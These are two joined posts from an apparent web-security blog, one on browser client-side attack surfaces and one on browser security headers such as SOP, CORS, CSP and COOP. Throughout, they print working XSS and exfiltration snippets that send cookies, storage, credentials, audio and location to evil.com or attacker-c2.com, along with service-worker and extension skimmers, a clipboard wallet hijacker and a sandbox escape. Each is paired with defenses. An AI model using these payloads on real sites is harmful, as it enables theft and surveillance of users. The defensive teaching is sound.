# Service Worker audit
# Application → Service Workers → check registered workers

Tools of the Trade

Tool	Purpose
Burp Suite	Full client-side interception & testing
DOMPurify	XSS sanitization library
CSP Evaluator	CSP weakness analysis
retire.js	Vulnerable JS library detection
Browser Audit	Browser security configuration checks
OWASP ZAP	Open-source web app scanner
Extension Fingerprints	Detect installed extensions

Final Thought

The browser was built for trust. It executes code from strangers. It stores your passwords. It knows where you are. It sees your screen and hears your voice. It maintains connections to servers you've never visited directly.

That's not a design flaw — that's what makes the web powerful. But it means that every feature is dual-use. The same API that lets your video conferencing app access your camera can be turned against you by an XSS payload running on that same page.

The only way to defend it is to understand it the way an attacker does — exhaustively, adversarially, and without comfortable assumptions.

Client-Side Attack Surface: Everything Inside the Browser Is a Weapon

Arashad Dodhiya — Sun, 28 Jun 2026 06:40:36 +0000

"The browser isn't just a viewport. It's an operating system. And like every OS, every feature is an attack surface waiting to be discovered."

If Part 1 was about the walls, this is about what's inside the walls.

The Map

Browser
│
├── URL               ← Entry point for injection & manipulation
├── DOM               ← XSS playground
├── JavaScript        ← The attacker's runtime
├── Cookies           ← Session theft
├── LocalStorage      ← Persistent data theft
├── SessionStorage    ← Tab-scoped secrets
├── IndexedDB         ← Structured data exfiltration
├── Clipboard         ← Data in transit
├── Password Manager  ← Credential harvesting
├── Camera            ← Silent surveillance
├── Microphone        ← Passive interception
├── Geolocation       ← Physical tracking
├── Notifications     ← Phishing vector
├── Downloads         ← Malware delivery
├── Extensions        ← Privileged access abuse
├── Service Workers   ← Persistent browser implants
├── WebSockets        ← Covert channels
├── postMessage       ← Cross-frame exploitation
├── WebAssembly       ← Obfuscated malicious code
└── Browser APIs      ← Fingerprinting & leakage

Let's go node by node.

1. URL — The First Line of Injection

The URL is user-controlled input. Everything in it — scheme, host, path, query, fragment, even the username:password fields — can be weaponized.

Attack Vectors

Open Redirect

https://app.com/redirect?to=https://evil.com

Trusted domain, attacker-controlled destination. Used in phishing flows to borrow legitimacy.

Fragment-Based XSS (DOM XSS)

https://app.com/#<img src=x onerror=alert(1)>

The fragment never reaches the server — it's processed entirely client-side. Server-side WAFs are blind to it.

URL Parameter Injection

https://app.com/search?q=<script>fetch('https://evil.com?c='+document.cookie)</script>

If the query parameter is reflected in the DOM without sanitization, game over.

Protocol Confusion

javascript:alert(1)  // In href attributes
data:text/html,...   // Content injection

Defense

Validate and allowlist redirect destinations server-side
Never use location.hash or URLSearchParams to set innerHTML
Use encodeURIComponent() for all URL parameter values
CSP navigate-to directive limits navigation targets

2. DOM — The Battlefield

The Document Object Model is the live representation of everything on the page. It's also where XSS lives.

The Sink Problem

DOM XSS occurs when attacker-controlled data flows into a dangerous sink without sanitization:

Dangerous Sinks	What They Do
`innerHTML`	Parses HTML, executes event handlers
`outerHTML`	Replaces element with arbitrary HTML
`document.write()`	Injects raw HTML into document
`eval()`	Executes string as JavaScript
`setTimeout(string)`	Deferred eval
`location.href = input`	Navigation injection
`src` on `<script>`	Remote script load

The Flow

// Source: attacker-controlled
const name = new URLSearchParams(location.search).get('name');

// Sink: dangerous DOM write
document.querySelector('#greeting').innerHTML = 'Hello, ' + name;

// Payload: ?name=<img src=x onerror=fetch('https://evil.com?c='+document.cookie)>

Mutation XSS (mXSS)

<!-- Input, looks safe -->
<svg><p><style><img src=x onerror=alert(1)></style></p></svg>

<!-- After DOM mutation — dangerous -->
<svg><p></p><style><img src=x onerror=alert(1)></style></svg>

Defense

Use textContent instead of innerHTML wherever possible
Use the DOMPurify library for any HTML rendering
Enable the Trusted Types API to enforce safe DOM writes
Content-Security-Policy: trusted-types default

3. JavaScript — The Attacker's Native Runtime

Once JS runs on your origin, the attacker has access to everything SOP permits. That's the entire page, all storage, all cookies (without HttpOnly), all in-flight requests.

Supply Chain Attacks

The most underrated JS attack surface isn't your code — it's your dependencies.

// package.json
"dependencies": {
  "left-pad": "^1.0.0",       // 17 lines, 15 million weekly downloads
  "event-stream": "^3.3.4"    // Compromised to steal Bitcoin wallets
}

A single compromised npm package injected into millions of sites. The attacker doesn't need to hack you — they hack a package you trust.

Prototype Pollution

// Attacker-controlled JSON merge
const merge = (target, source) => {
  for (let key in source) {
    target[key] = source[key]; // Dangerous if key is "__proto__"
  }
};

merge({}, JSON.parse('{"__proto__": {"isAdmin": true}}'));

console.log({}.isAdmin); // true — every object is now admin

Prototype pollution can escalate to RCE in Node.js environments and bypass authorization checks in browsers.

Defense

Use Subresource Integrity (SRI) for all third-party scripts
Lock dependency versions with package-lock.json + audit with npm audit
Consider a Content Security Policy to limit script sources
Use Object.create(null) for dictionaries that accept user keys

4. Cookies — Session Tokens on a Silver Platter

Cookies are the primary mechanism for maintaining authenticated sessions. They're also one of the most stolen artifacts on the web.

The Theft Vectors

XSS Cookie Theft (when HttpOnly is missing)

fetch('https://evil.com/steal?c=' + document.cookie);

CSRF (when SameSite is missing)

<!-- On evil.com -->
<img src="https://bank.com/transfer?to=attacker&amount=5000">

The browser sends cookies automatically. No JS required.

Cookie Tossing
If app.com and sub.app.com are both in scope, a cookie set on sub.app.com with no Domain attribute can still interfere with the parent domain's cookies in some browsers.

The Secure Cookie Checklist

Set-Cookie: session=abc123;
  HttpOnly;           ← Block JS access
  Secure;             ← HTTPS only
  SameSite=Strict;    ← No cross-site sending
  Path=/;             ← Scope to app
  Max-Age=3600;       ← Explicit expiry

Flag	What It Prevents
`HttpOnly`	XSS cookie theft
`Secure`	Network interception
`SameSite=Strict`	CSRF
`SameSite=Lax`	CSRF on navigation (balance)
`__Host-` prefix	Cookie scope confusion

The Cookie Prefix Trick

Set-Cookie: __Host-session=abc; Secure; Path=/; SameSite=Strict

__Host- prefix forces Secure, no Domain, and Path=/ — making it impossible to scope to a subdomain, hardening against cookie injection.

5. LocalStorage — Persistent, Accessible, Unencrypted

LocalStorage persists across sessions and survives browser restarts. It's scoped to origin. And it is completely accessible to any JavaScript running on that origin — including injected scripts.

What Attackers Look For

// One liner to exfiltrate everything
fetch('https://evil.com/dump', {
  method: 'POST',
  body: JSON.stringify(localStorage)
});

I've found JWTs, API keys, user PII, OAuth tokens, and entire application state objects sitting in localStorage. Developers store them there because it's convenient. Attackers love convenience.

The JWT in LocalStorage Problem

// Common but dangerous pattern
localStorage.setItem('token', jwt);

// vs. the secure pattern
// Store in HttpOnly cookie — JS can't touch it

JWTs in localStorage are trivially stolen via XSS. JWTs in HttpOnly cookies are not.

Defense

Never store authentication tokens in LocalStorage
Never store sensitive PII in LocalStorage
If you must store state, consider encrypted storage with a per-session key
Treat LocalStorage as public — because under XSS, it is

6. SessionStorage — Same Problems, Shorter Window

Same API as LocalStorage, but cleared when the tab closes. The attack surface is identical — any XSS running in the same session can read it. The only difference for an attacker is urgency.

// Attacker payload in XSS context
const data = {...sessionStorage};
navigator.sendBeacon('https://evil.com/log', JSON.stringify(data));

sendBeacon is fire-and-forget, survives page unload, and doesn't require a response. Perfect for quick exfiltration during a session.

Defense: Same as LocalStorage — treat as public under XSS. Never store secrets here.

7. IndexedDB — The Structured Data Vault

IndexedDB is a full client-side database. It can store gigabytes of structured data. And yes, any JS on the page can read all of it.

Why This Is More Dangerous Than It Looks

IndexedDB is used by:

Progressive Web Apps storing offline data
Email clients caching message bodies (Gmail uses it)
Password managers storing vault state
Medical apps caching patient records offline

// Exfiltrating an IndexedDB database via XSS
const request = indexedDB.open('app-database');
request.onsuccess = (e) => {
  const db = e.target.result;
  const tx = db.transaction(db.objectStoreNames, 'readonly');
  // Iterate all stores and exfiltrate
  Array.from(db.objectStoreNames).forEach(storeName => {
    tx.objectStore(storeName).getAll().onsuccess = (e) => {
      fetch('https://evil.com/db', {
        method: 'POST',
        body: JSON.stringify({ store: storeName, data: e.target.result })
      });
    };
  });
};

Defense: Encrypt sensitive data before writing to IndexedDB. Treat XSS as a threat to your entire local database, not just cookies.

8. Clipboard — Data in Transit

The Attack

// Silently exfiltrate whatever the user last copied
navigator.clipboard.readText().then(text => {
  fetch('https://evil.com/clip?data=' + encodeURIComponent(text));
});

Clipboard hijacking — replacing copied crypto wallet addresses with the attacker's:

document.addEventListener('copy', (e) => {
  const selected = window.getSelection().toString();
  if (/^[13][a-km-zA-HJ-NP-Z1-9]{25,34}$/.test(selected)) {
    // Looks like a Bitcoin address
    e.clipboardData.setData('text/plain', 'attacker_wallet_address');
    e.preventDefault();
  }
});

This exact attack has been used to steal millions in cryptocurrency.

Defense

clipboard-read requires explicit user permission in modern browsers
Permissions Policy: clipboard-read=() disables it for embedded content
Users should verify clipboard contents before sending crypto transactions

9. Password Manager — Autofill as Attack Surface

Password managers (built-in and third-party) autofill credentials based on origin matching. This creates multiple attack vectors.

Credential Phishing via Hidden Forms

<!-- Visible login form -->
<input type="text" id="username" placeholder="Username">
<input type="password" id="password" placeholder="Password">

<!-- Hidden form — autofill populates both -->
<input type="password" id="steal" style="display:none" autocomplete="current-password">

Some password managers autofill all matching fields, including hidden ones.

Cross-Origin Autofill Leakage

Older password manager browser extensions matched domains loosely. app.com and evil-app.com might both receive autofill for app.com credentials depending on the extension logic.

Credential Harvesting via XSS

// If autofill has populated the form, read it immediately
const creds = {
  user: document.querySelector('input[type=email]')?.value,
  pass: document.querySelector('input[type=password]')?.value
};
if (creds.user) fetch('https://evil.com/creds', { method: 'POST', body: JSON.stringify(creds) });

Users don't realize the password is already in the DOM as soon as the page loads with autofill.

Defense

autocomplete="off" is largely ignored by modern browsers (by design)
Ensure your login forms are only served over HTTPS on your own origin
Implement CSP to limit where data can be sent
Subresource Integrity for any third-party scripts near login forms

10. Camera & Microphone — Silent Sensors

Both require explicit user permission, gated behind browser prompts. But once permission is granted, it persists — and any JS on that origin can invoke it.

The Threat

// Silent audio recording after permission is granted
navigator.mediaDevices.getUserMedia({ audio: true }).then(stream => {
  const recorder = new MediaRecorder(stream);
  const chunks = [];
  recorder.ondataavailable = e => chunks.push(e.data);
  recorder.onstop = () => {
    const blob = new Blob(chunks);
    // Exfiltrate recording
    fetch('https://evil.com/audio', { method: 'POST', body: blob });
  };
  recorder.start();
  setTimeout(() => recorder.stop(), 5000); // 5 seconds
});

A compromised webpage, browser extension, or XSS payload that runs on a site that has camera permission (video conferencing, medical portal) can do this silently.

Defense

Permissions-Policy: camera=(), microphone=() — disable for pages that don't need it
Revoke permissions for sites you no longer trust (browser settings)
Physical camera covers are still valid security controls
Browser indicator lights (on most hardware) do show camera/mic access — but not always visibly

11. Geolocation — Precise Physical Tracking

Geolocation permission grants access to the user's physical coordinates — often GPS-accurate on mobile.

The Threat

navigator.geolocation.watchPosition(pos => {
  fetch('https://evil.com/track', {
    method: 'POST',
    body: JSON.stringify({
      lat: pos.coords.latitude,
      lng: pos.coords.longitude,
      accuracy: pos.coords.accuracy,
      timestamp: Date.now()
    })
  });
}, null, { enableHighAccuracy: true });

watchPosition continuously reports location changes. A compromised site with geolocation permission is a passive tracker.

Defense

Permissions-Policy: geolocation=(self) — restrict to own origin only
Prefer getCurrentPosition (one-time) over watchPosition (continuous)
Users should grant geolocation only on demand, not persistently

12. Notifications — The Browser Phishing Channel

Push notifications are the legitimate use case. But the same channel is abused for persistent phishing.

The Attack Flow

User visits sketchy site
"Click Allow to continue watching" — social engineering the permission
Site registers a service worker with a push subscription
Now delivers phishing notifications forever, even when the site isn't open
Notifications can link to credential-harvesting pages with bank logos

// After permission granted, notification content is attacker-controlled
self.registration.showNotification('Your bank account needs attention', {
  body: 'Unusual activity detected. Click to verify.',
  icon: 'https://evil.com/bank-logo.png',
  data: { url: 'https://evil.com/phish' }
});

Defense

Permissions-Policy: notifications=() — block in iframes
Users: review and revoke notification permissions regularly
chrome://settings/content/notifications / Firefox equivalent
CSP connect-src can limit where push subscriptions connect

13. Downloads — Malware Delivery Vector

The browser's download mechanism can be triggered programmatically, with attacker-controlled filename and content.

// Programmatic download — attacker controls filename and content
const a = document.createElement('a');
a.href = 'data:application/octet-stream;base64,' + maliciousPayload;
a.download = 'invoice-2024.pdf.exe'; // Double extension trick
a.click();

Combine this with:

A drive-by download triggered by a compromised ad
A filename that exploits OS extension hiding (invoice.pdf\u202e.exe — RTL override character)
Content-Disposition: attachment; filename=update.exe from a compromised CDN

Defense

X-Content-Type-Options: nosniff — prevents MIME-type sniffing
CSP default-src limits what origins can deliver resources
Download directory monitoring in EDR/endpoint solutions
Educate users: legitimate invoices don't come as .exe

14. Extensions — Privileged Strangers in the Browser

Browser extensions run in an elevated context. They can read every page, intercept network requests, modify the DOM, and access storage across origins. They bypass SOP entirely.

The Attack Surface

Malicious extension masquerading as legitimate (fake ad blocker with 2M installs)
Compromised legitimate extension via acquired developer account
Extension with overly broad permissions exploited via a vulnerability in the extension itself

// A malicious extension content script can:
chrome.tabs.onUpdated.addListener((tabId, changeInfo, tab) => {
  if (changeInfo.status === 'complete' && tab.url?.includes('bank.com')) {
    chrome.scripting.executeScript({
      target: { tabId },
      func: () => {
        // Running on bank.com with full DOM access
        // Bypasses CSP if injected by extension
        document.forms[0].addEventListener('submit', e => {
          fetch('https://evil.com/creds', {
            method: 'POST',
            body: new FormData(e.target)
          });
        });
      }
    });
  }
});

Extension-injected scripts can bypass CSP because they run with the extension's privileges, not the page's.

Defense

Minimize installed extensions — every extension is a trusted stranger
Audit extension permissions before installing
Use browser profiles to isolate sensitive browsing (banking) from general browsing
Enterprise: enforce extension allowlists via policy

15. Service Workers — The Persistent Browser Implant

Service Workers are the most powerful and most underestimated attack surface in modern browsers.

A registered service worker:

Lives outside the page lifecycle — persists after the tab closes
Intercepts all network requests from the origin
Can serve cached responses — even offline
Can run background sync and push handlers

The Threat

// Malicious service worker — intercepts all requests on the origin
self.addEventListener('fetch', event => {
  const url = event.request.url;

  // Log every request made on this origin
  fetch('https://evil.com/log?url=' + encodeURIComponent(url) + '&cookie=' + self.cookieStore);

  // Serve malicious response for specific paths
  if (url.includes('/api/login')) {
    event.respondWith(
      fetch(event.request.clone()).then(response => {
        response.clone().json().then(body => {
          fetch('https://evil.com/creds', { method: 'POST', body: JSON.stringify(body) });
        });
        return response;
      })
    );
  }
});

If an attacker registers a malicious service worker via XSS — even a brief XSS — it persists after the vulnerability is patched. The implant outlives the injection.

Defense

Service-Worker-Allowed header limits registration scope
Implement Service Worker versioning with integrity checks
Clear-Site-Data: "cache", "storage" — nuclear option to clear registered workers
Monitor for unexpected service worker registrations in your CSP report endpoint
Service workers require HTTPS — enforcing HTTPS is a prerequisite defense

16. WebSockets — The Covert Channel

WebSockets establish persistent, bidirectional connections. They bypass some security controls that apply to HTTP.

The Threats

WebSocket Hijacking (Cross-Site WebSocket Hijacking / CSWSH)

WebSockets don't enforce CORS. They use Origin header — but only the server validates it. If the server doesn't check:

// On evil.com
const ws = new WebSocket('wss://app.com/ws'); // Includes cookies!
ws.onmessage = msg => fetch('https://evil.com/dump?d=' + msg.data);

Data Exfiltration Channel

WebSocket traffic is often less monitored than HTTP. An XSS payload that exfiltrates via WebSocket to a C2 server may evade detection:

const ws = new WebSocket('wss://attacker-c2.com');
ws.onopen = () => ws.send(JSON.stringify({ cookies: document.cookie, storage: {...localStorage} }));

Defense

Validate the Origin header server-side on WebSocket handshake
Use WebSocket-specific CSRF tokens
Implement authentication at the WebSocket protocol level, not just on initial HTTP handshake
CSP connect-src controls which WebSocket endpoints can be connected to

17. postMessage — Cross-Frame Exploitation

postMessage is the sanctioned way for cross-origin iframes and windows to communicate. Insecure implementations create serious vulnerabilities.

The Attack

Sender: trusting any origin

// Vulnerable: no origin check
window.addEventListener('message', (event) => {
  // event.origin is NOT checked
  document.querySelector('#output').innerHTML = event.data; // XSS sink
});

Attacker from evil.com:

const target = window.open('https://app.com');
target.postMessage('<img src=x onerror=alert(1)>', '*');

Receiver: broadcasting to any origin

// Vulnerable: * target origin
parent.postMessage({ token: authToken }, '*'); // Any frame can catch this

If the page is framed by an attacker's page, the * wildcard means the attacker receives the auth token.

Defense

// Always validate origin
window.addEventListener('message', (event) => {
  if (event.origin !== 'https://trusted-partner.com') return;
  // Now safe to process
});

// Always specify target origin when sending
parent.postMessage({ token: authToken }, 'https://trusted-parent.com');

18. WebAssembly — The Obfuscation Layer

WebAssembly (WASM) runs compiled binary code in the browser at near-native speed. It's designed for performance. Attackers use it for obfuscation and to evade JS-based security tools.

The Threats

Cryptomining
CoinHive and its successors shipped as WASM modules. JS-based CSP can't block WASM execution if the WASM file is allowed by script-src.

Obfuscated Malware
WASM binaries are opaque to most content scanners, WAFs, and browser DevTools at first glance. A malicious WASM module can perform:

Side-channel attacks (Spectre implementations are easier in WASM)
Cryptographic operations for C2 communication
Deobfuscation of encrypted payloads

Sandbox Escape Research
WASM JIT bugs have been a source of browser exploitation. The JIT compiler for WASM is a complex attack surface with a history of critical vulnerabilities.

Defense

CSP script-src with 'wasm-unsafe-eval' controls WASM instantiation
Consider Cross-Origin-Embedder-Policy: require-corp — required for SharedArrayBuffer, which WASM side-channel attacks often rely on
Monitor for unexpected WASM file loads via CSP reporting

19. Browser APIs — The Fingerprinting & Leakage Layer

Every browser API that exists to help legitimate developers also helps attackers profile, track, and identify users.

The Fingerprinting Arsenal

API	What It Leaks
`navigator.userAgent`	OS, browser, version
`screen.width/height/colorDepth`	Display configuration
`navigator.hardwareConcurrency`	CPU core count
`navigator.deviceMemory`	RAM (rounded)
`WebGL`	GPU vendor and renderer string
`AudioContext`	Hardware-specific audio processing signature
`Canvas` API	Font rendering, GPU-level pixel differences
`navigator.plugins`	Installed browser plugins
`Intl.DateTimeFormat`	Timezone and locale
`performance.now()`	High-res timer (Spectre-adjacent)

Combined, these create a fingerprint accurate enough to identify 95%+ of users even without cookies.

The Canvas Fingerprint

const canvas = document.createElement('canvas');
const ctx = canvas.getContext('2d');
ctx.textBaseline = 'top';
ctx.font = '14px Arial';
ctx.fillText('Browser fingerprint 🔒', 2, 2);
const fingerprint = canvas.toDataURL(); // Unique per device/GPU

Every GPU renders this text slightly differently at the sub-pixel level. The resulting data URL is a device fingerprint.

Defense

Firefox: Enhanced Tracking Protection reduces fingerprinting API precision
Brave: Randomizes canvas, audio, and WebGL outputs per origin
Chrome: Privacy Sandbox aims to reduce covert tracking channels
Permissions Policy can restrict some high-precision APIs
Users can use browser isolation (separate profiles or Tor Browser) for sensitive sessions

The Unified Attack Chain

Here's how a sophisticated attacker chains these surfaces in a real attack:

1. URL → inject payload via query parameter
2. DOM → XSS in innerHTML sink
3. JavaScript → payload executes
4. Cookies → steal non-HttpOnly session token
5. LocalStorage → dump JWT and API keys
6. postMessage → sniff cross-frame communication
7. Service Worker → register persistent implant
8. WebSocket → open C2 channel that survives page close
9. Browser APIs → fingerprint user for re-identification after cookie clear

Each step uses a different surface. Defense on one layer doesn't protect the next.

The Defender's Mindset: Assume Breach, Layer Defense

Every single surface listed in this post has one thing in common: they're all accessible from JavaScript running on your origin.

Your defense framework, in priority order:

1. Prevent XSS            → CSP + DOMPurify + Trusted Types
2. Minimize persistence   → HttpOnly + Secure + SameSite cookies; no secrets in localStorage
3. Isolate origins        → CORS + CORP + COOP + COEP
4. Limit API access       → Permissions Policy
5. Detect exfiltration    → CSP report-uri + monitoring
6. Audit dependencies     → SRI + npm audit + lock files
7. Harden extensions      → Allowlist via policy; isolate sensitive browsing

Testing This Yourself

# Quick header audit
curl -I https://your-site.com | grep -E "Content-Security|COOP|COEP|CORP|Permissions"

# DOM XSS scanning
npx retire --js  # Check for vulnerable JS libraries

# Cookie audit (Chrome DevTools)
# Application → Cookies → check HttpOnly, Secure, SameSite columns

# postMessage monitoring
# DevTools Console:
window.addEventListener('message', console.log);

# Service Worker audit
# Application → Service Workers → check registered workers

Tools of the Trade

Tool	Purpose
Burp Suite	Full client-side interception & testing
DOMPurify	XSS sanitization library
CSP Evaluator	CSP weakness analysis
retire.js	Vulnerable JS library detection
Browser Audit	Browser security configuration checks
OWASP ZAP	Open-source web app scanner
Extension Fingerprints	Detect installed extensions

Final Thought

The only way to defend it is to understand it the way an attacker does — exhaustively, adversarially, and without comfortable assumptions.

Browser Security Model: The Defensive Walls Every Hacker Knows (And Every Developer Should Too)

Arashad Dodhiya — Sat, 27 Jun 2026 13:36:14 +0000

"To defend a system, you must first think like the attacker."

I'll tell you this: the browser is one of the most hostile execution environments ever built. Every tab you open is potentially running untrusted code inches away from your banking session.

The browser's security model is the only thing standing between that chaos and your users' data. These aren't optional features or nice-to-haves. They are load-bearing walls. If you don't understand them, you're building on sand — and attackers know it.

Let's tear it all down, layer by layer.

The Threat Model: Why Any of This Exists

Before we talk defenses, let's think offensively. What's the attacker trying to do?

Read your cookies (session hijacking)
Make requests on your behalf (CSRF)
Inject and run their own scripts (XSS)
Leak data through side-channels (Spectre, timing attacks)
Embed your site and steal clicks (Clickjacking)
Load your authenticated resources inside their page (cross-origin data theft)

The browser's security model is a direct response to each of these. Every policy we'll cover exists because someone, somewhere, was exploited without it.

1. Same-Origin Policy (SOP) — The Foundation

The oldest wall. The one everything else builds on.

What It Is

The Same-Origin Policy restricts how documents and scripts from one origin can interact with resources from another. An origin is defined as:

protocol + host + port

URL A	URL B	Same Origin?
`https://app.com/page`	`https://app.com/api`	✅ Yes
`https://app.com`	`http://app.com`	❌ No (protocol)
`https://app.com`	`https://api.app.com`	❌ No (subdomain)
`https://app.com:443`	`https://app.com:8443`	❌ No (port)

What It Blocks

JavaScript running on evil.com cannot read the DOM, cookies, or responses from bank.com
fetch('https://bank.com/account') from a different origin returns a blocked response

The Hacker's Perspective

SOP is the reason XSS is so devastating. If an attacker gets JS running on your origin, SOP no longer protects you — the attacker is now running as you. XSS turns SOP from a shield into a weapon for the attacker.

The Gotcha

SOP doesn't block sending cross-origin requests — it blocks reading the response. This is exactly why CSRF is possible. The form POST goes through. The cookies go with it. SOP just stops the attacker from reading the result.

2. CORS — Controlled Cross-Origin Access

You chose to open a door. Make sure it's the right door.

What It Is

Cross-Origin Resource Sharing (CORS) is how servers opt-in to allowing cross-origin requests from specific (or all) origins. It's a deliberate exception to SOP, negotiated via HTTP headers.

The Handshake

Simple requests (GET, POST with safe content types) go through directly. The server's response either includes the right headers or the browser blocks the JS from reading it.

Preflighted requests (custom headers, DELETE, PUT, JSON bodies) trigger a preflight:

OPTIONS /api/data HTTP/1.1
Origin: https://app.com
Access-Control-Request-Method: DELETE
Access-Control-Request-Headers: Authorization

Server must respond with:

HTTP/1.1 204 No Content
Access-Control-Allow-Origin: https://app.com
Access-Control-Allow-Methods: DELETE
Access-Control-Allow-Headers: Authorization
Access-Control-Max-Age: 86400

The Hacker's Perspective

The most common CORS mistake I see in the wild:

Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true

This is invalid and browsers reject it — but developers often "fix" it by dynamically reflecting the request's Origin header back without validation:

# Vulnerable pattern
response.headers['Access-Control-Allow-Origin'] = request.headers['Origin']

Now any origin can make credentialed requests. This bypasses SOP entirely. I've used this exact pattern to exfiltrate authenticated API responses in bug bounties.

Defense Checklist

Never use * with credentials
Maintain an explicit allowlist of trusted origins
Validate the Origin header server-side before reflecting it
Don't trust null origin — it's sent from sandboxed iframes and local files

3. Content Security Policy (CSP) — XSS's Worst Enemy

Even if an attacker injects HTML, CSP decides what runs.

What It Is

CSP is a response header (or meta tag) that tells the browser which sources of content are trusted. Scripts, styles, images, fonts, frames — all controlled.

Content-Security-Policy: 
  default-src 'self';
  script-src 'self' https://cdn.trusted.com;
  style-src 'self' 'unsafe-inline';
  img-src *;
  frame-ancestors 'none';
  report-uri https://csp.yourapp.com/report

What It Blocks

An attacker injects:

<script src="https://evil.com/steal.js"></script>

If your CSP says script-src 'self', the browser refuses to load it. No execution. No exfiltration.

The Hacker's Perspective

The most devastating CSP weaknesses I look for:

1. unsafe-inline — Allows inline <script> tags and onclick handlers. Kills 90% of CSP's XSS protection.

2. unsafe-eval — Allows eval(), setTimeout(string), new Function(). Immediately exploitable with any code injection.

3. Wildcard host allowlisting — script-src https://*.trusted.com — if any subdomain of trusted.com is compromised or hosts user content (like a CDN), you're done.

4. JSONP endpoints on allowlisted domains — CSP allows the domain, attacker uses the JSONP endpoint to inject arbitrary JS: https://allowed.com/jsonp?callback=alert(1)//

Nonce-Based CSP (The Right Way)

Content-Security-Policy: script-src 'nonce-r4nd0m' 'strict-dynamic'

<script nonce="r4nd0m">
  // This runs
</script>
<script>
  // This is blocked — no nonce
</script>

A per-request cryptographic nonce that attackers can't predict. Combined with strict-dynamic, this is the gold standard.

4. CORP — Cross-Origin Resource Policy

Control who can load your resources, not just who can read the response.

What It Is

Cross-Origin Resource Policy (CORP) is a response header that tells the browser whether a resource can be embedded by cross-origin pages:

Cross-Origin-Resource-Policy: same-origin
# or: same-site | cross-origin

The Problem It Solves

Pre-CORP, any page could do:

<img src="https://intranet.company.com/secret-badge.png">

Even if JS can't read the response, the browser still fetches the image. This matters for:

Spectre attacks: Side-channel timing can leak data from fetched resources
Pixel tracking: Inferring whether an image loaded (authenticated resources)
Intranet probing: Discovering internal services via error states

The Hacker's Perspective

Without CORP, even a "read-protected" endpoint leaks metadata. Response timing, response size, and HTTP status codes are all observable without reading content. CORP prevents the fetch entirely, eliminating the side-channel.

5. COEP — Cross-Origin Embedder Policy

The gatekeeper before you get the dangerous APIs.

What It Is

Cross-Origin Embedder Policy (COEP) ensures every resource your page loads has explicitly opted into being loaded cross-origin (via CORP or CORS):

Cross-Origin-Embedder-Policy: require-corp

Why It Exists

After Spectre was disclosed, browsers disabled access to high-resolution timers (SharedArrayBuffer, performance.measureUserAgentSpecificMemory) — they can be used to build timing side-channels to leak memory contents.

To re-enable them, your page must prove it's a "cross-origin isolated" context — meaning no cross-origin resource can be loaded without explicit opt-in. COEP enforces this.

The Chain

# Your server
Cross-Origin-Embedder-Policy: require-corp

# Third-party resource your page embeds
Cross-Origin-Resource-Policy: cross-origin
# or served with CORS headers

Without COEP, SharedArrayBuffer is unavailable. With COEP + COOP (next), you unlock it.

6. COOP — Cross-Origin Opener Policy

Sever the link between your window and theirs.

What It Is

Cross-Origin Opener Policy (COOP) controls whether your page shares a browsing context group with cross-origin pages it opens (or that open it):

Cross-Origin-Opener-Policy: same-origin
# or: unsafe-none | same-origin-allow-popups

The Problem It Solves

When window.open() is used cross-origin, by default both windows share a browsing context group and have limited access to each other via window.opener. This is exploitable:

// On evil.com, opened from bank.com
window.opener.location = 'https://evil.com/phish'; // Tabnabbing

COOP with same-origin severs this relationship entirely. Cross-origin windows can no longer reference each other.

The Full Cross-Origin Isolation Stack

Cross-Origin-Opener-Policy: same-origin
Cross-Origin-Embedder-Policy: require-corp

Together, these make crossOriginIsolated === true in JS, enabling:

SharedArrayBuffer
High-resolution performance.now()
Future powerful APIs

7. Sandbox — The Iframe Cage

Run untrusted content, but strip its weapons first.

What It Is

The sandbox attribute on iframes (and Content-Security-Policy: sandbox) restricts what the embedded content can do:

<iframe 
  src="https://untrusted-widget.com" 
  sandbox="allow-scripts allow-same-origin">
</iframe>

The Capability Kill Switch

Attribute	What It Removes
(no value)	Everything — forms, scripts, same-origin, popups
`allow-scripts`	Re-enables JS execution
`allow-same-origin`	Allows the iframe to be treated as same-origin
`allow-forms`	Re-enables form submission
`allow-popups`	Re-enables `window.open()`
`allow-top-navigation`	Allows redirecting the top window

The Hacker's Perspective

Never combine allow-scripts + allow-same-origin unless you absolutely need it. This combination allows the framed page to remove the sandbox attribute via script:

// Inside sandboxed iframe with allow-scripts + allow-same-origin
window.frameElement.removeAttribute('sandbox'); // Breaks out

The sandbox is also applied via CSP for the main frame itself:

Content-Security-Policy: sandbox allow-scripts

Useful for serving untrusted HTML documents (like email previews) on a throw-away domain.

8. Permissions Policy — Revoking Browser Features

Lock down what APIs your page (and its iframes) can access.

What It Is

Formerly Feature Policy, Permissions Policy lets you control access to powerful browser APIs — camera, microphone, geolocation, and many more — for your own page and for embedded iframes:

Permissions-Policy: 
  camera=(),
  microphone=(),
  geolocation=(self "https://maps.partner.com"),
  payment=(self)

Syntax

() — Disabled for everyone, including self
(self) — Allowed for same-origin only
(self "https://partner.com") — Allowed for self and specified origin

Why It Matters for Security

A third-party script or iframe gaining access to the camera or microphone is catastrophic. Permissions Policy prevents it even if the embedded content tries to request these permissions.

<!-- This iframe cannot request camera access, ever -->
<iframe 
  src="https://ads.thirdparty.com"
  allow="payment 'none'">
</iframe>

The Hacker's Perspective

In supply chain attacks, compromised third-party scripts often try to fingerprint or exfiltrate data using browser APIs. Permissions Policy limits the blast radius. Even if analytics.js is compromised, it can't silently activate the microphone.

9. Referrer Policy — Controlling Your Breadcrumbs

What does the next site know about where you came from?

What It Is

When you navigate from one page to another, the browser sends a Referer header (yes, historically misspelled) with the source URL. Referrer Policy controls how much of that URL is shared:

Referrer-Policy: strict-origin-when-cross-origin

The Options

Policy	Same-Origin	Cross-Origin
`no-referrer`	Nothing	Nothing
`origin`	Origin only	Origin only
`strict-origin`	Origin only	Origin only (HTTPS→HTTPS only)
`strict-origin-when-cross-origin` (default)	Full URL	Origin only
`unsafe-url`	Full URL	Full URL
`no-referrer-when-downgrade`	Full URL	Full URL (HTTPS→HTTP: nothing)

The Hacker's Perspective

The Referer header can leak sensitive data. Consider:

https://app.com/reset-password?token=abc123xyz

If the reset page loads any third-party resource (analytics, CDN font, even a favicon from a different origin), that token lands in the third party's access logs via the Referer header.

I've found password reset tokens, session identifiers, and internal path structures in referrer logs during assessments. strict-origin-when-cross-origin strips the path and query string for cross-origin navigation — use it.

Putting It All Together: The Full Security Header Stack

Here's what a hardened response header set looks like:

# Block XSS, control resource loading
Content-Security-Policy: default-src 'self'; script-src 'nonce-{random}' 'strict-dynamic'; style-src 'self'; img-src 'self' data: https:; frame-ancestors 'none'; report-uri /csp-report

# Allow cross-origin isolation
Cross-Origin-Opener-Policy: same-origin
Cross-Origin-Embedder-Policy: require-corp

